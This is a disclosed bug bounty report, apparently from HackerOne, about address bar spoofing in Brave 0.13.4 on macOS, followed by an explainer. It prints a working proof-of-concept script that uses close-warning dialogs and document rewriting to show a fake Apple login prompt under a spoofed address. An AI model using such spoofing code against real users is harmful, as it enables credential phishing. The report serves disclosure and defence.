Address bar spoofing in Brave browser via. window close warnings
The Brave browser on macOS could be made to show a spoofed address bar and page title while a close-warning dialog appeared, so a victim could be tricked into entering Apple credentials on a page that was not Apple's. The reporter claims this enables phishing.
Originally disclosed on HackerOne
- Disclosed after 5 months
Hello, I would like to Report Address Bar spoofing vulnerability in Brave Browser on macOS.
Summary:
When people visit the poc page,I notice them to type a DNS record exist but cannot access domain "access.apple.com" to address bar.then window will popup a close warnings,then phishing is beginning...
Products affected:
macOS Sierra version: 10.12.3
Brave version:
Brave: 0.13.4 rev: 71d8ffc7278a90b22b8617d37880787c1781e694 Muon: 2.56.4 libchromiumcontent: 56.0.2924.87 V8: 5.6.326.50 Node.js: 7.4.0 Update Channel: dev os.platform: darwin os.release: 16.4.0 os.arch: x64
Steps To Reproduce:
1.POC script is:
<h1 id="msg">Next,type access.apple.com in the address bar.</h1>
<h1 id="spoof"></h1>
<script type="text/javascript">
spoof.style.display = 'none';
var done = 0;
var got = 0;
onbeforeunload = function(ev) {
done = 1;
return false;
}
onmousemove = function() {
stop();
if (done && !got) {
msg.style.display = 'none';
got = "1000";
if (got) {
document.write("<title>apple login</title><h1>This is not apple.com!!!</h1><scri"+"pt>onbeforeunload=function(){/*while(1){}*/};document.write('<input id=\\\'log\\\'>');window.stop();prompt('enter your apple account...');window.stop();location.assign('https://access.apple.com');</scrip"+"t>");
spoof.style.display = 'block';
log.value = got;
}
}
}
</script>
- Or you can visit online poc page,then following page instruction:
https://api.lightrains.org/poc/17.html
Best regards!
Attachments


Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the browser failed to keep the displayed address and title in sync with the actual page when a beforeunload close warning was triggered and the page rewrote its own content.
Impact
A user could be shown a spoofed address bar and title and prompted for Apple account credentials, enabling phishing; the report does not show the credentials actually being captured.
What the attacker needed
MacOS Sierra; Brave 0.13.4 dev; victim visits crafted page; victim interacts with page
How it was found
- Open the proof-of-concept page in the affected Brave version.
- Type the target domain into the address bar as instructed by the page.
- Move the mouse after the close warning to reveal the spoofed title and input field.
- The page then redirects to the real site after the user has been prompted for credentials.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A browser's address bar is meant to tell you which website you are really on. Here, a crafted page could make the browser display a different address and title than the real site, then show a warning dialog to distract the user. That makes it easier to trick someone into typing their password into the wrong page.
What is Open redirect?
A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.